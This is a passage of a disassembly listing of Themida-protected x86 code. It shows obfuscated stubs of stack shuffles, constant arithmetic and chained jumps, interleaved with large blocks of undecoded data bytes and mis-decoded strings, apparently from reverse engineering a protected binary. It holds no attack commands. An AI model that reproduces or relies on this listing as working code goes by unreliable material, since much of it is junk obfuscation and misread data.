		dd 6801h, 89243489h, 491DE9E6h,	44810000h, 45150424h, 0FF597789h
		dd 815B2434h, 4ECh, 243C8900h, 8468E789h, 89000018h, 4BD242Ch
		dd 1000000h, 0C7815DEFh, 4, 8B243C87h, 68552424h, 4, 0B8C3815Dh
		dd 12C0A67h, 0B8EB81EBh, 8B2C0A67h, 73E9242Ch, 500000B8h
		dd 42474FFh, 24048F58h,	0F624248Bh, 0B60F66E9h,	0FF6866CCh
		dd 0C896666h, 0B60F6624h, 9C5166C8h, 0FFBFD7E9h, 4C181FFh
		dd 0E9000000h, 0E9BDh, 0E9240C8Bh, 304Ah, 1CE981h, 0CB890092h
		dd 5BDE0159h, 5C243487h, 521E68h, 243C8900h, 0BE56E789h
		dd 29CD3939h, 0E908EEC1h, 0FFFFD31Ah, 5202EEC1h, 858E957h
		dd 0F1250001h, 0D1A837Eh, 322670E1h, 3042AE35h,	0E9C28976h
		dd 47Ch, 0FFBF77E9h, 7EFCBEFFh,	0EBBB66F4h, 31C05770h
		dd 0EB815EF3h, 733F7C99h, 1405E9h, 0E9D0B400h, 8E7Ch
; ---------------------------------------------------------------------------


loc_556CE0:				; CODE XREF: Themida_:0055D387j
		pop	edx
		jmp	loc_5556E6
; ---------------------------------------------------------------------------


loc_556CE6:				; CODE XREF: Themida_:0055D6A0j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_555466
; ---------------------------------------------------------------------------


loc_556CFA:				; CODE XREF: Themida_:0056580Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_555161
; ---------------------------------------------------------------------------
aVseb		db 'Vé…b',0
		align 2


loc_556D1A:				; CODE XREF: Themida_:005674B4j
		add	dword ptr [esp], 4AF310C2h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 4AF310C2h
		jmp	loc_552E1F
; ---------------------------------------------------------------------------
		db 21h,	0FBh, 5Fh
		dd 0D5FCC381h, 0E981AD77h, 25B037E4h, 0C181D901h, 25B037E4h
		dd 0E7B8505Bh, 405EC038h, 85E9D8F7h, 8100005Dh,	31FB26E9h
		dd 742CE9B1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D66:				; CODE XREF: Themida_:005619C8j
		not	edi
		shl	edi, 1
		xor	edi, 308640A0h
		add	ebx, edi
		pop	edi
		add	ebx, esi
		sub	ebx, 372F0348h
		pop	esi
		pop	eax
		push	4454h
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 3D77118Dh
		add	ebx, edx
		add	ebx, 3D77118Dh
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55B6A1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD259h, 0BE76E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556DC2:				; CODE XREF: Themida_:00566BF5j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55529F
; ---------------------------------------------------------------------------


loc_556DD7:				; CODE XREF: Themida_:0055CCC1j
		push	dword ptr [esp]
		jmp	loc_5578CB
; ---------------------------------------------------------------------------
		db 0FFh
a4Swz		db '4$éwz',0
		dw 8900h
		dd 0A2E951E3h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556DEF:				; CODE XREF: Themida_:0055C98Cj
		add	ebx, 4
		push	19CBh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55CD0D
; ---------------------------------------------------------------------------


loc_556E06:				; CODE XREF: Themida_:005576B2j
		push	dword ptr [esp]
		pop	ebx
		push	6A40h
		mov	[esp], edx
		jmp	loc_566EED
; ---------------------------------------------------------------------------
aLFp		db '‹$$f',0
		db 0E9h, 16h, 0BEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E22:				; CODE XREF: Themida_:0055C0A8j
		mov	[esp], edx
		push	esp
		jmp	loc_555672
; ---------------------------------------------------------------------------


loc_556E2B:				; CODE XREF: Themida_:00565557j
		add	esp, 4
		add	esp, 4
		jmp	loc_554E59
; ---------------------------------------------------------------------------
aHU		db '\hÃu',0
		dw 8900h
		dd 0FCE92404h, 0FFFFBEh, 0D7C480CCh, 7FE0E9h
		db 0
; ---------------------------------------------------------------------------


loc_556E51:				; CODE XREF: Themida_:005594D6j
		pop	ebx
		not	eax
		jmp	loc_56659E
; ---------------------------------------------------------------------------
		db 5Ah,	88h, 0FCh
		dd 8BE3005Bh, 0C4812404h, 4, 5166C328h,	0C1800CB1h, 0BEBE9D0h
		dd 0E6810001h, 48393C82h, 2E7E681h, 0C6810253h,	72CF1B5Ch
		dd 8101EE83h, 0A4EB16C6h, 0C1C381A1h, 29262301h, 3E4FE9F3h
		dd 1590000h, 0EC835BDAh, 241C8904h, 1ADE68h, 24048900h
		dd 7DB1BD55h, 0C58111FFh, 6C5A1E7Ch, 0A79E9h, 8BC60100h
		dd 0C4812404h, 4, 2C681h, 34870000h, 2AE6E924h,	0EA010000h
		dd 102BB850h, 0BB531612h, 34291F10h, 225FE9h
		db 0
; ---------------------------------------------------------------------------


loc_556EED:				; CODE XREF: Themida_:00564205j
		mov	[edi+38h], ch
		pop	ecx
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_56168F
; ---------------------------------------------------------------------------
		db 51h
		dd 63676AB9h, 0CBD5E97Bh, 0F1B9FFFFh, 412A9D33h, 157E181h
		dd 0E9414F79h, 0FFFFC15Fh, 242C875Fh, 2404815Ch, 1031154Ch
		dd 81240401h, 154C242Ch, 4811031h, 830F6624h, 242C811Eh
		dd 0EE057ADh, 738CE9h, 24048B00h, 0CE8EE9h, 3EAC100h, 0E950D2F7h
		dd 1324h
; ---------------------------------------------------------------------------


loc_556F58:				; CODE XREF: Themida_:0055F28Fj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shl	ebx, 4
		shl	ebx, 7
		push	edx
		push	46C526D3h
		pop	edx
		push	ebp
		mov	ebp, 3757D69h
		and	ebp, 33DB488Ah
		add	ebp, 64E3CF21h
		sub	edx, ebp
		pop	ebp
		add	edx, 955BF056h
		xor	ebx, edx
		pop	edx
		push	ebx
		jmp	loc_55BD5C
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 0FE5C2404h, 0E99C240Ch, 0FFFFBC88h, 0E959CD29h
		dd 0D0FFh, 433368h, 240C8900h, 785FC3B9h, 81D1F73Ah, 4842AAC1h
		dd 62CAE964h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556FD2:				; CODE XREF: Themida_:0055942Fj
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_56744C
; ---------------------------------------------------------------------------
aZ0Fyhz		db '‡,$\0ÈfYh‡(',0
		align 2
		dw 15E9h
		dd 500000F0h, 415668h, 89F6E900h, 0C2810000h, 6D5B2BE6h
		dd 5590EA81h, 875E13C9h, 248B2414h, 4216624h, 31E99C24h
		db 11h,	1, 0
; ---------------------------------------------------------------------------


loc_55701B:				; CODE XREF: Themida_:005580A8j
		sub	ebp, edx
		pop	edx
		sub	ebp, 6E2348C3h
		add	ebp, esi
		add	ebp, 6E2348C3h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55FAC7
; ---------------------------------------------------------------------------


loc_55703A:				; CODE XREF: Themida_:00558104j
		mov	bl, 3Ch
		jmp	loc_555BFF
; ---------------------------------------------------------------------------


loc_557041:				; CODE XREF: Themida_:005679DAj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	4152h
		jmp	loc_553716
; ---------------------------------------------------------------------------


loc_557062:				; CODE XREF: Themida_:005659EFj
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		pop	eax
		neg	edx
		add	edx, 9F26A79h
		add	eax, edx
		pop	edx
		jmp	loc_55D13C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C48158h,	0E9000000h, 24B6h, 0B252505Ch
		dd 0B2B4B4h, 0D7E95AD4h, 80000E9h, 0EF8059CFh, 0FED7F642h
		dd 0A7E951C7h, 8300001Dh, 0CAE904ECh, 0BB0000D5h, 4, 0FC23E9h
		db 0
; ---------------------------------------------------------------------------


loc_5570BD:				; CODE XREF: Themida_:00563E10j
		sub	ecx, 23BD5266h
		add	ecx, edi
		add	ecx, 23BD5266h
		pop	edi
		add	ecx, 0FFFFFFFFh
		jmp	loc_5575DD
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0BB95E900h,	0C801FFFFh, 0C22CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5570E9:				; CODE XREF: Themida_:0055F16Fj
		xor	edx, 54570784h
		not	edx
		neg	edx
		and	edx, 65FE2948h
		jmp	loc_563BFF
; ---------------------------------------------------------------------------


loc_5570FE:				; CODE XREF: Themida_:0055B7AEj
		push	ebp
		mov	ebp, 658706D6h
		jmp	loc_55677E
; ---------------------------------------------------------------------------
aBPSM		db 'Ë·\P{é',9,'m',0
		align 4
		dd 3E1168h, 0CC5FE900h,	0DF31FFFFh, 56241C8Bh, 0C681E689h
		dd 4, 3AB0E9h, 0E9C10100h, 2E0Fh, 0C2814258h, 0E8406A6h
		dd 0C6E9D2F7h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557147:				; CODE XREF: Themida_:0055EEA4j
		pop	edx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		not	edi
		xchg	edi, edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55DA66
; ---------------------------------------------------------------------------
		dd 5686659h, 489662Fh, 7A67E924h, 66580000h, 3E3DC281h
		dd 6E2C166h, 46E28166h,	0C283662Ah, 66556601h, 66F7AA68h
		dd 0EA29665Dh, 0FFC965E9h, 5D001FFh, 6E987106h,	0E289525Ah
		dd 4C281h, 32E90000h, 54000083h, 8324048Bh, 40504C4h, 81000000h
		dd 4ECh, 0F4A6E900h, 1C8BFFFFh,	95DAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5571DA:				; CODE XREF: Themida_:0056432Aj
		xchg	ebp, [esp]
		mov	esp, [esp]
		bt	[esp], eax
		pushf
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_5571EA:				; CODE XREF: Themida_:00567909j
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_562400
; ---------------------------------------------------------------------------
		dd 4B951h, 0CB010000h, 4EB8359h, 0E9241C87h, 0CD93h
; ---------------------------------------------------------------------------


loc_55720C:				; CODE XREF: Themida_:00563CC1j
		push	esi
		mov	esi, 683B0040h
		neg	esi
		shr	esi, 6
		add	esi, 14045F67h
		add	ecx, esi
		pop	esi
		push	ebp
		push	ecx
		mov	ecx, 7AA83AD4h
		shl	ecx, 1
		add	ecx, 72C01D7Bh
		sub	ecx, 24664B8Ah
		mov	ebp, ecx
		jmp	loc_566973
; ---------------------------------------------------------------------------


loc_55723C:				; CODE XREF: Themida_:00555650j
		or	eax, eax
		jz	loc_565F13
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	ebx
		jmp	loc_55C609
; ---------------------------------------------------------------------------
		dd 0FBF4C181h, 4EE96E36h, 8900002Fh, 4BB241Ch, 0E9000000h
		dd 0E647h, 1393C581h, 0F0E93CEDh, 0C0FFFFEFh, 0EB8007E3h
		dd 8BDA88ABh, 0C483241Ch, 40F26804h, 0C890000h,	0E99FB524h
		dd 101E7h, 83242C89h, 248904ECh, 39EFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5572A2:				; CODE XREF: Themida_:00566E5Aj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55C8FB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48359h, 5002C683h,	24048B54h, 4C481h, 0BE560000h
		dd 4, 835EF001h, 48704E8h, 34895C24h, 2474FF24h, 0F1D9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5572DE:				; CODE XREF: Themida_:005531D9j
		pop	esp
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 27693B2Bh
		sub	eax, 235312CFh
		shl	eax, 8
		jmp	loc_5533DA
; ---------------------------------------------------------------------------


loc_557308:				; CODE XREF: Themida_:0056341Aj
		xchg	edi, [esp]
		jmp	loc_559F84
; ---------------------------------------------------------------------------
		dd 4BEh, 0CC18100h, 1601C49h, 76F2E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557322:				; CODE XREF: Themida_:005653EBj
		push	ebx
		mov	bl, 64h
		mov	al, bl
		pop	ebx
		sub	bl, al
		mov	ax, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_566D3E
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 2E9C0A6h, 8001E980h,	0D9F6C2F1h, 0E957E980h,	0FFFFEFD8h
; ---------------------------------------------------------------------------


loc_557358:				; CODE XREF: Themida_:005591C1j
		push	dword ptr [esp]
		jmp	loc_55545E
; ---------------------------------------------------------------------------
		dd 0BBEF815Ah, 1A25F6Ah, 243C8BFAh, 4C481h, 0C2830000h
		dd 24148704h, 45B9515Ch, 815FF66Fh, 0C92C19E1h,	5AE95504h
		dd 0FF0000BDh, 0FF042474h, 0E95D2434h, 5F6Eh
; ---------------------------------------------------------------------------


loc_557398:				; CODE XREF: Themida_:00553EC0j
		pop	ecx
		neg	ecx
		xor	ecx, 0D7B8FD5Dh
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		jmp	loc_56242F
; ---------------------------------------------------------------------------
		dw 0E1B0h
		dd 52E9C630h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5573BB:				; CODE XREF: Themida_:00559B60j
		xor	al, dl
		jmp	loc_554FBC
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 58F33EA6h, 21ACE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5573CE:				; CODE XREF: Themida_:0055D630j
		mov	dh, 7Dh
		add	bl, 0F2h
		add	bl, dh
		sub	bl, 0F2h
		pop	dx
		add	bl, al
		jmp	loc_565623
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 68h
		dd 8966240Dh, 0B753240Ch, 0E970B5D6h, 0FFFFC33Fh
; ---------------------------------------------------------------------------


loc_5573F4:				; CODE XREF: Themida_:0055E0ADj
		mov	eax, [esp]
		push	eax
		jmp	loc_5612DB
; ---------------------------------------------------------------------------


loc_5573FD:				; CODE XREF: Themida_:00554F5Cj
		mov	[esp], ecx
		mov	ch, 3
		xor	ch, 1Dh
		shl	ch, 7
		sub	ch, 0
		add	ch, 0FFh
		sub	ch, 1
		jmp	loc_566A1F
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 93E68105h, 0F7297077h, 1FEE81D6h, 29D808C1h,	44055EF0h
		dd 0E9593761h, 8628h
; ---------------------------------------------------------------------------


loc_557434:				; CODE XREF: Themida_:005679A0j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56021A
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0DCh
		dd 2DE57ED3h, 3D8A5107h, 3C7AC005h, 2DC80162h, 623C7AC0h
		dd 8A510705h, 9579E93Dh, 41410000h, 0FFBD77E9h,	64C781FFh
		dd 1736D13h, 64EF81D7h,	81736D13h, 0BC09F5EFh, 24148B16h
		dd 170EE9h, 0E9018800h,	8FEAh, 0E9242C87h, 9614h
; ---------------------------------------------------------------------------


loc_5574A0:				; CODE XREF: Themida_:00565AF8j
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, 4
		jmp	loc_566432
; ---------------------------------------------------------------------------


loc_5574B7:				; CODE XREF: Themida_:0055AC8Cj
		push	ebp
		mov	ebp, 75895798h
		mov	edx, ebp
		jmp	loc_567363
; ---------------------------------------------------------------------------


loc_5574C4:				; CODE XREF: Themida_:0055C43Dj
		pop	ebx
		shr	ebx, 2
		or	ebx, 1B2272EFh
		xor	ebx, 27BC593Ch
		jmp	loc_55BBF5
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 56000000h, 4BEh, 5EF12900h, 8735E9h,	24248B00h, 4BEB68h
		dd 242C8900h, 12A5BD66h, 0E56E9h, 0D0895000h, 5A58C689h
		dd 0B601E9h, 240C8700h,	489665Ch, 841B424h, 0ED7DE9E7h
		dd 0EF81FFFFh, 602E3A92h, 0FFEBF3E9h, 0EA814AFFh, 746C517Ah
		dd 8919E9h
		db 0
; ---------------------------------------------------------------------------


loc_557535:				; CODE XREF: Themida_:00567855j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_560CBF
; ---------------------------------------------------------------------------


loc_55753F:				; CODE XREF: Themida_:0055468Fj
		mov	ebx, 5E7D6D01h
		mov	edx, ebx
		pop	ebx
		add	eax, edx
		pop	edx
		push	5A18h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	32CBh
		mov	[esp], esi
		jmp	loc_55BDA7
; ---------------------------------------------------------------------------


loc_557567:				; CODE XREF: Themida_:0055D64Fj
		mov	[esp], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5609A3
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0A404C800h, 32D468h,	240C8900h, 0F1809EB1h, 593FE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55758E:				; CODE XREF: Themida_:00564181j
		pop	edx
		add	ebp, 11726E12h
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_554D40
; ---------------------------------------------------------------------------


loc_55759F:				; CODE XREF: Themida_:005577DBj
		sub	ecx, 42C3449h
		and	eax, ecx
		pop	ecx
		shr	eax, 0Bh
		xor	ecx, eax
		push	6960h
		jmp	loc_55E0A7
; ---------------------------------------------------------------------------
		db 1
		dd 3EEE81EEh, 81574621h, 0FE4648C6h, 7E18E948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5575CA:				; CODE XREF: Themida_:005575D8j
		pop	ebp
		add	edx, 6E3A21B0h
		jmp	loc_55D860
; ---------------------------------------------------------------------------


loc_5575D6:				; CODE XREF: Themida_:00558ECAj
		add	ebx, ebp
		jmp	loc_5575CA
; ---------------------------------------------------------------------------


loc_5575DD:				; CODE XREF: Themida_:005570CFj
		inc	ecx
		jmp	loc_55AC8B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E0C104E0h, 947CE904h, 0C3880000h, 585BDE88h, 9B00E9h
		dd 40500h, 0E8E90000h, 8100000Bh, 0D6B53FE9h, 59CD21AFh
		dd 4EE9D5F7h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557613:				; CODE XREF: Themida_:005600CAj
		inc	eax
		jmp	loc_55B72D
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 7DBB241Ch, 290AA74Ah, 0C7895BD8h,	0FFB9C6E9h
		dd 14335DFFh, 24143124h, 5C241433h, 89242C89h, 0E9EA89C5h
		dd 13C7h
; ---------------------------------------------------------------------------


loc_557648:				; CODE XREF: Themida_:0055997Fj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55DBCA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E904C583h, 8EFh, 4C781h, 0FF570000h, 0FF042474h, 815F2434h
		dd 4C4h, 24048F00h, 8B3BE9h, 1AB85000h,	0E9763C6Fh, 0D504h
		dd 2FE9CB01h, 81000069h, 0C065B9E2h, 9BE28164h,	0E9764B03h
		dd 0F2F3h, 5C243C87h, 1137BD55h, 34E95DA9h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5576AF:				; CODE XREF: Themida_:00554948j
		pop	edi
		xor	eax, ebx
		jmp	loc_556E06
; ---------------------------------------------------------------------------


loc_5576B7:				; CODE XREF: Themida_:00565D88j
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		jmp	loc_564E92
; ---------------------------------------------------------------------------


loc_5576CB:				; CODE XREF: Themida_:00557F4Aj
		add	[esp+4], ebp
		jmp	loc_56098B
; ---------------------------------------------------------------------------
		dd 33240431h, 0FF5C2404h, 41E92434h, 68FFFFC5h,	62542955h
		dd 0CD5EE9h, 40F58100h,	811D9357h, 6F3DB4E5h, 0B2ED8169h
		dd 81472728h, 69C613F5h, 5DEF01AAh, 0C7815D5Bh,	2, 31243C33h
		dd 3C33243Ch, 0A4E95C24h, 530000D2h, 96E9EB88h,	81000075h
		dd 4ECh, 240C8900h, 445568h, 0E0895000h, 48E9E9h, 241C2900h
		dd 4EB815Bh, 0E9B510E0h, 741Dh,	8F240C89h, 34FF2447h, 0C4835924h
		dd 68D23104h, 6EF5h, 54243489h,	0B8DFE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55776A:				; CODE XREF: Themida_:00565120j
		push	edi
		mov	edi, 2C953A1Fh
		jmp	loc_5536BD
; ---------------------------------------------------------------------------
		db 31h,	0EEh, 5Dh
		dd 55EF189h, 14CB7988h,	882DC829h, 5914CB79h, 5C240487h
		dd 0E9241489h, 0A3DCh, 287FC381h, 7DE97EA9h, 4A00001Ah
		dd 0FFB9EA81h, 0EB81FDFFh, 312E536Ah, 0C381D301h, 312E536Ah
		dd 7BCD685Ah, 3C890000h, 98E0E924h, 0F65B0000h,	0F61124D0h
		dd 2CC0FED0h, 0ECED80F0h, 119EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5577D5:				; CODE XREF: Themida_:0055A876j
		sub	ecx, 1
		jmp	loc_55759F
; ---------------------------------------------------------------------------


loc_5577E0:				; CODE XREF: Themida_:00563786j
		xor	ebp, 0FEC3F8E9h
		add	esi, ebp
		pop	ebp
		shr	esi, 6
		jmp	loc_56246B
; ---------------------------------------------------------------------------
		db 0B6h, 0EEh, 80h
		dd 885001EEh, 88D0F6F0h, 0CE8058C6h, 6E6C0F6h, 3265E9h
		dd 81E58900h, 4C5h, 4C58300h, 2474FF55h, 48F5D04h, 3F685C24h
		dd 89000072h, 4BF243Ch,	1000000h, 0BC5FE9F8h, 295A0000h
		dd 6B3405F0h, 34FF1AADh, 24348B24h, 0E904C483h,	0B7BEh
		dd 0F707E2C1h, 0EA814AD2h, 7731312Bh, 575AD101h, 4F5ECABFh
		dd 20E91Ch, 6F2D0000h, 547C11Dh, 8CB911BDh, 28E9C289h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557873:				; CODE XREF: Themida_:00563824j
		pop	esp
		add	esp, 4
		jmp	loc_566DFD
; ---------------------------------------------------------------------------
aTsij		db 'TéiJ',0
		align 2
		dw 0CF81h
		dd 4CAC1AD6h, 0FA28E9h,	68E18900h, 783Dh, 0B8240489h, 336164EFh
		dd 708BBE56h, 0E68171BFh, 752A6EEDh, 4EDEF74Eh,	10356E9h
		dd 246C0100h, 5A1DE904h, 2C8B0000h, 4EC8324h, 89241C89h
		dd 0B1E955E3h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5578CB:				; CODE XREF: Themida_:00556DDAj
		pop	ecx
		add	esp, 4
		push	3EDCh
		jmp	loc_552C5F
; ---------------------------------------------------------------------------
		dd 0D324248Bh, 0E99C2424h, 0FFFFB350h, 8324048Bh, 4FE904C4h
		dd 520000DCh, 0A76BA4BAh, 0ABE28149h, 0C1680305h, 0F28106EAh
		dd 0E251813h, 15B85042h, 0E923155Ah, 9DC9h
; ---------------------------------------------------------------------------


loc_557914:				; CODE XREF: Themida_:00556673j
		push	ebx
		not	byte ptr [esp+1]
		pop	ebx
		jmp	loc_556AC3
; ---------------------------------------------------------------------------
		db 89h
		dd 48B241Ch, 4C48324h, 4EC8357h, 0B3ABE9h, 4896600h, 0B2FEE924h
		dd 0CD81FFFFh, 15FA2610h, 0E5C1DDF7h, 6F58103h,	0E97DF46Ch
		dd 0DE47h, 8106E1C1h, 9A2A14C1h, 0E9CD89E6h, 78D8h, 4C481h
		dd 0C870000h, 24248B24h, 6203A5F3h, 0CA685538h,	5D521C48h
		dd 8302E5C1h, 2C8904ECh, 241CF724h, 8B2434FFh, 0C481242Ch
		dd 4, 4C481h, 0C5810000h, 48712328h, 657168h, 242C8900h
		dd 4EC81h, 4890000h, 2BE5624h, 0C176DF0Fh, 814606E6h, 2A8283C6h
		dd 5EF0895Ch, 4244429h,	8324048Bh, 428F04C4h, 8E95738h
		dd 58FFFFE1h, 5E3C15Eh,	0FFDA23E9h, 72E956FFh, 310000AEh
		dd 0C33240Ch, 0E9565C24h, 1FFDh, 66D6EE81h, 0EC816561h
		dd 4, 0BF243C89h, 9A00E922h, 3C8BFE29h,	3CD5E924h, 51420000h
		dd 0DE368h, 242C8900h, 0A16BD6BDh, 0FCCD812Ch, 0E95C9025h
		dd 0AC44h, 240C8B66h, 693C6852h, 8F540000h, 4812404h, 424h
		dd 0EC835A00h, 240C8904h, 2416E9h, 0FF565B00h, 8B042474h
		dd 0C4812434h, 4, 8B24048Fh, 0F662424h,	9C2404ABh, 0FFB1CFE9h
		dd 81E589FFh, 4C5h, 4ED8300h, 8B242C87h, 4892424h, 63BD5524h
		dd 0F7622559h, 81DDF7DDh, 0DE1EDCEDh, 6DB2E97Dh, 0E9810000h
		dd 0FFFFFFFFh, 899E981h, 1E90364h, 5DFFFFCFh, 0E4BEE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557AAA:				; CODE XREF: Themida_:0055543Dj
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5661FC
; ---------------------------------------------------------------------------
		dd 5B66712Ch, 0FFFABAE9h, 0D6F74EFFh, 0DEF74646h, 8309C681h
		dd 0F201C87Eh, 4C2815Eh, 87000000h, 0E95C2414h,	9007h
		dd 9F4428BDh, 81D5F71Bh, 0D54CE6EDh, 0C55AE97Ch, 5F68FFFFh
		dd 583E181Ah, 0E8C1D8F7h, 0FCB02D03h, 0C189183Ch, 246C8158h
		dd 0C4769204h, 244C0178h, 24448104h, 0C4769204h, 0EC24E978h
		dd 0C4810000h, 4, 5207E0C1h, 0C14F29BAh, 0B31FE90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B2E:				; CODE XREF: Themida_:0055E815j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55E773
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0F7000000h, 45C781D7h, 89424A03h, 2434FFF9h,	723AE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B52:				; CODE XREF: Themida_:00560A0Ej
		add	ecx, edi
		push	dword ptr [ecx]
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_561B0B
; ---------------------------------------------------------------------------
		dw 0FE01h
		dd 4B8505Fh, 29000000h,	348758C6h, 19E95C24h, 81FFFFF7h
		dd 4C6h, 0E67AE900h, 0D328FFFFh, 5A07EB80h, 0C380C328h
		dd 19B1519Ch, 0B353D9F6h, 63E9529Ch
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557B9F:				; CODE XREF: Themida_:0056487Fj
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		inc	edx
		add	edx, 868AAA3Eh
		push	ebp
		mov	ebp, edx
		jmp	loc_561B59
; ---------------------------------------------------------------------------


loc_557BC2:				; CODE XREF: Themida_:00553BB0j
		add	esp, 4
		push	ebp
		jmp	loc_55D9A1
; ---------------------------------------------------------------------------


loc_557BCB:				; CODE XREF: Themida_:0055D552j
		push	edi
		mov	edi, 375E7F62h
		shr	edi, 6
		push	esi
		jmp	loc_553E15
; ---------------------------------------------------------------------------
		dw 0B353h
		dd 5EBC085h, 0ABC380h, 2623E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557BEA:				; CODE XREF: Themida_:0056040Cj
		add	ecx, edi
		push	edi
		mov	edi, 262169F6h
		add	ecx, edi
		pop	edi
		pop	edi
		xor	eax, ecx
		jmp	loc_55FCAE
; ---------------------------------------------------------------------------


loc_557BFD:				; CODE XREF: Themida_:00563511j
		sub	ebx, esi
		jmp	loc_557EB9
; ---------------------------------------------------------------------------


loc_557C04:				; CODE XREF: Themida_:00563202j
		jmp	loc_552C38
; ---------------------------------------------------------------------------


loc_557C09:				; CODE XREF: Themida_:0055AB06j
		pop	eax
		and	eax, 53314B0Dh
		add	eax, 0BCEEFEFDh
		mov	esi, eax
		jmp	loc_553BAD
; ---------------------------------------------------------------------------
		db 0BAh
		dd 21064769h, 61E9D389h, 8B00008Eh, 0C481242Ch,	4, 744F581h
		dd 0F5814A3Ah, 0DA22C728h, 0E95DEA89h, 5B84h, 9D1C77FFh
		dd 14D35966h, 0E5E99C24h, 5EFFFFAFh, 0C106EAC1h, 98E904EAh
		dd 510000A8h, 0EA0019B5h, 4984E9h, 83C6FE00h, 0C8904ECh
